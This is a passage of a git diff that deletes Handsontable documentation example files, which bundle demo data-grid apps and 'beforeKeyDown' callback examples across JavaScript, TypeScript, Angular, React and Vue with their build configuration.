Seat/Saddle 1', '2025-08-07', '00-8892524', true, '150', 10, 2],\n [false, 'Thoughtsphere', 'China', 'HL Road Seat/Saddle 1', '2025-11-28', '39-5538991', true, '130', 7, 3],\n [false, 'Leenti', 'China', 'ML Road Rear Wheel', '2025-12-29', '06-9002973', true, '179', 1, 2],\n [false, 'Quaxo', 'United Kingdom', 'HL Road Rear Wheel', '2025-09-06', '73-6104901', true, '98', 5, 3],\n [false, 'Tanoodle', 'Chile', 'LL Mountain Seat/Saddle 2', '2025-05-24', '68-7384479', true, '175', 2, 3],\n [false, 'Feednation', 'China', 'ML Mountain Seat/Saddle 2', '2025-11-21', '26-7757763', true, '11', 1, 3],\n [false, 'Kayveo', 'China', 'HL Mountain Seat/Saddle 2', '2025-06-21', '07-4873562', false, '184', 7, 4],\n [false, 'Meevee', 'Saudi Arabia', 'LL Road Seat/Saddle 1', '2025-11-16', '46-5819554', false, '27', 9, 3],\n [false, 'Twitterworks', 'China', 'ML Road Seat/Saddle 2', '2025-04-19', '01-2666826', true, '186', 3, 2],\n [false, 'Wikizz', 'Tanzania', 'HL Road Seat/Saddle 2', '2025-03-08', '54-7090503', true, '20', 3, 3],\n [false, 'Yoveo', 'United States', 'LL Mountain Tire', '2025-10-14', '78-7658520', false, '153', 2, 1],\n [false, 'Yakidoo', 'China', 'ML Mountain Tire', '2025-10-12', '23-9926318', true, '161', 8, 5],\n [false, 'Oyope', 'China', 'HL Mountain Tire', '2025-09-20', '20-0179517', true, '98', 10, 5],\n [false, 'Skipstorm', 'United States', 'LL Road Tire', '2025-10-01', '02-9543343', true, '30', 7, 3],\n [false, 'Minyx', 'United States', 'ML Road Tire', '2025-07-07', '98-3938169', true, '73', 10, 2],\n [false, 'Miboo', 'China', 'HL Road Tire', '2025-07-25', '68-5197934', true, '158', 9, 1],\n [false, 'Realfire', 'United States', 'Touring Tire', '2025-08-27', '39-8260460', true, '122', 5, 2],\n [false, 'Shufflester', 'China', 'Mountain Tire Tube', '2025-06-08', '45-9776170', true, '33', 2, 4],\n [false, 'Ntag', 'China', 'Road Tire Tube', '2025-12-06', '45-0858451', true, '107', 6, 2],\n [false, 'Jabberbean', 'United States', 'Touring Tire Tube', '2025-04-26', '15-4247305', true, '15', 1, 2],\n [false, 'Thoughtblab', 'China', 'LL Bottom Bracket', '2025-05-21', '15-8534931', true, '168', 5, 2],\n [false, 'Jabbertype', 'China', 'Classic Vest', '2025-07-25', '23-1251557', true, '135', 4, 2],\n [false, 'Buzzshare', 'United Kingdom', 'Cycling Cap', '2025-07-07', '86-5920601', true, '11', 1, 4],\n [false, 'Roodel', 'United States', 'Full-Finger Gloves', '2025-01-13', '48-1055459', true, '41', 6, 4],\n [false, 'Zoovu', 'China', 'Half-Finger Gloves', '2025-06-03', '12-7842022', true, '144', 6, 1],\n [false, 'Photofeed', 'China', 'HL Mountain Frame', '2025-07-14', '94-5088099', true, '106', 1, 4],\n];\nexport const SELECTED_CLASS = 'selected';\n\nexport function addClassesToRows(TD, row, column, _prop, _value, cellProperties) {\n // Adding classes to `TR` just while rendering first visible `TD` element\n if (column !== 0) {\n return;\n }\n\n const parentElement = TD.parentElement;\n\n if (parentElement === null) {\n return;\n }\n\n // Add class to selected rows\n if (cellProperties.instance.getDataAtRowProp(row, '0')) {\n parentElement.classList.add(SELECTED_CLASS);\n } else {\n parentElement.classList.remove(SELECTED_CLASS);\n }\n}\n\nconst example = document.getElementById('example');\n\nnew Handsontable(example, {\n data,\n height: 450,\n width: '100%',\n colWidths: [180, 220, 140, 120, 120, 120, 140],\n colHeaders: ['Company Name', 'Name', 'Sell date', 'In stock', 'Quantity', 'Order ID', 'Country'],\n contextMenu: [\n 'cut',\n 'copy',\n '---------',\n 'row_above',\n 'row_below',\n 'remove_row',\n '---------',\n 'alignment',\n 'make_read_only',\n 'clear_column',\n ],\n columns: [\n { data: 1, type: 'text' },\n { data: 3, type: 'text' },\n {\n data: 4,\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 6,\n type: 'checkbox',\n className: 'htCenter',\n },\n { data: 7, type: 'numeric' },\n { data: 5, type: 'text' },\n { data: 2, type: 'text' },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n beforeRenderer: addClassesToRows,\n autoWrapRow: true,\n autoWrapCol: true,\n autoRowSize: true,\n manualRowResize: true,\n manualColumnResize: true,\n navigableHeaders: true,\n imeFastEdit: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nconsole.log(`Handsontable: v${Handsontable.version} (${Handsontable.buildDate})`);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/demo/javascript/example.js","breadcrumb":["Getting Started","Demo"],"guide":"guides/getting-started/demo/demo.md","guideTitle":"Demo","exampleId":"example","exampleTitle":"example","docPermalink":"/demo","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__angular__example2.ts.json deleted file mode 100644 index fd9f3a45..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-events-hooks',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n lastChange: string | any[] | null = null;\n\n data = [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange: (changes: any, source: any) => {\n this.lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n beforeKeyDown: (e) => {\n const selection = hot?.getSelected()?.[0];\n\n if (!selection) return undefined;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return undefined;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n this.lastChange = null;\n\n // block the default deletion behavior\n return false;\n }\n\n // ENTER\n if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (\n this.lastChange &&\n this.lastChange.length === 1 &&\n this.lastChange[0][2] == this.lastChange[0][3]\n ) {\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n this.lastChange = null;\n\n // block the default Enter behavior\n return false;\n }\n }\n\n this.lastChange = null;\n\n return undefined;\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/events-and-hooks/angular/example2.ts","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example1.js.json deleted file mode 100644 index 885c7da7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Events and hooks · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n
    \n
    \n \n Choose events to be logged:\n
      \n
    • \n \n
      • \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst config = {\n data: [\n ['', 'Tesla', 'Mazda', 'Mercedes', 'Mini', 'Mitsubishi'],\n ['2017', 0, 2941, 4303, 354, 5814],\n ['2018', 3, 2905, 2867, 412, 5284],\n ['2019', 4, 2517, 4822, 552, 6127],\n ['2020', 2, 2422, 5399, 776, 4151],\n ],\n minRows: 5,\n minCols: 6,\n height: 'auto',\n stretchH: 'all',\n minSpareRows: 1,\n autoWrapRow: true,\n colHeaders: true,\n contextMenu: true,\n autoWrapCol: true,\n dropdownMenu: true,\n filters: true,\n columnSorting: true,\n mergeCells: true,\n comments: true,\n manualColumnMove: true,\n manualRowMove: true,\n licenseKey: 'non-commercial-and-evaluation',\n};\nconst example1Events = document.getElementById('example1_events');\nconst hooksList = document.getElementById('hooksList');\nconst hooks = Handsontable.hooks.getRegistered();\nhooks.forEach((hook) => {\n let checked = '';\n if (hook === 'afterChange' ||\n hook === 'afterSelection' ||\n hook === 'afterCreateRow' ||\n hook === 'afterRemoveRow' ||\n hook === 'afterCreateCol' ||\n hook === 'afterRemoveCol') {\n checked = 'checked';\n }\n hooksList.innerHTML += `
    • `;\n config[hook] = function () {\n log_events(hook, arguments);\n };\n});\nconst start = new Date().getTime();\nlet i = 0;\nlet timer;\n/**\n * @param event\n * @param data\n */\nfunction log_events(event, data) {\n if (document.getElementById(`check_${event}`).checked) {\n const now = new Date().getTime();\n const diff = now - start;\n let str;\n const vals = [i, `@${(diff / 1000).toFixed(3)}`, `[${event}]`];\n for (let d = 0; d < data.length; d++) {\n try {\n str = JSON.stringify(data[d]);\n }\n catch (e) {\n str = data[d].toString();\n }\n if (str === void 0) {\n continue;\n }\n if (str.length > 20) {\n str = typeof data[d] === 'object' ? `object: ${str.substr(0, 20)}...}` : str.toString();\n }\n if (d < data.length - 1) {\n str += ',';\n }\n vals.push(str);\n }\n if (window.console) {\n console.log(i, `@${(diff / 1000).toFixed(3)}`, `[${event}]`, data);\n }\n const div = document.createElement('div');\n const text = document.createTextNode(vals.join(' '));\n div.appendChild(text);\n example1Events.appendChild(div);\n clearTimeout(timer);\n timer = setTimeout(() => {\n example1Events.scrollTop = example1Events.scrollHeight;\n }, 10);\n i++;\n }\n}\nconst example1 = document.querySelector('#example1');\nnew Handsontable(example1, config);\ndocument.querySelector('#check_select_all').addEventListener('click', function () {\n const state = this.checked;\n const inputs = document.querySelectorAll('#hooksList input[type=checkbox]');\n Array.prototype.forEach.call(inputs, (input) => {\n input.checked = state;\n });\n});\ndocument.querySelector('#hooksList input[type=checkbox]').addEventListener('click', function () {\n if (!this.checked) {\n document.getElementById('check_select_all').checked = false;\n }\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example1.js","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/events-and-hooks","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.js.json deleted file mode 100644 index 50331cab..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nlet lastChange = null;\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange(changes) {\n lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nhot.updateSettings({\n beforeKeyDown(e) {\n const selected = hot.getSelected();\n if (!selected)\n return;\n const selection = selected[0];\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0)\n return;\n console.log(selection);\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n lastChange = null;\n // block the default deletion behavior\n return false;\n }\n // ENTER\n if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0][2] == lastChange[0][3]) {\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n lastChange = null;\n // block the default Enter behavior\n return false;\n }\n }\n lastChange = null;\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example2.js","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.ts.json deleted file mode 100644 index 48a24a31..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nlet lastChange: (Handsontable.CellChange | null)[] | null = null;\nconst container = document.querySelector('#example2')!;\nconst hot = new Handsontable(container, {\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'yellow', 'gray'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n minSpareRows: 1,\n beforeChange(changes) {\n lastChange = changes;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n beforeKeyDown(e) {\n const selected = hot.getSelected();\n\n if (!selected) return;\n\n const selection = selected[0]!;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n lastChange = null;\n\n // block the default deletion behavior\n return false;\n }\n\n // ENTER\n if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0]![2] == lastChange[0]![3]) {\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n lastChange = null;\n\n // block the default Enter behavior\n return false;\n }\n }\n\n lastChange = null;\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/events-and-hooks/javascript/example2.ts","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__react__example2.tsx.json deleted file mode 100644 index 885894db..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n let lastChange: string | any[] | null = null;\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n beforeKeyDown(e) {\n const selection = hot?.getSelected()?.[0];\n\n if (!selection) return;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n lastChange = null;\n\n // block the default deletion behavior\n return false;\n }\n\n // ENTER\n if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0][2] == lastChange[0][3]) {\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n lastChange = null;\n\n // block the default Enter behavior\n return false;\n }\n }\n\n lastChange = null;\n },\n });\n });\n\n return (\n {\n lastChange = changes;\n }}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n ref={hotRef}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/events-and-hooks/react/example2.tsx","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__vue__example2.vue.json deleted file mode 100644 index b3a99774..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/events-and-hooks/vue/example2.vue","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__angular__example2.ts.json deleted file mode 100644 index d3211732..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Getting Started ▸ Grid size · Compare size units · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":8,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n 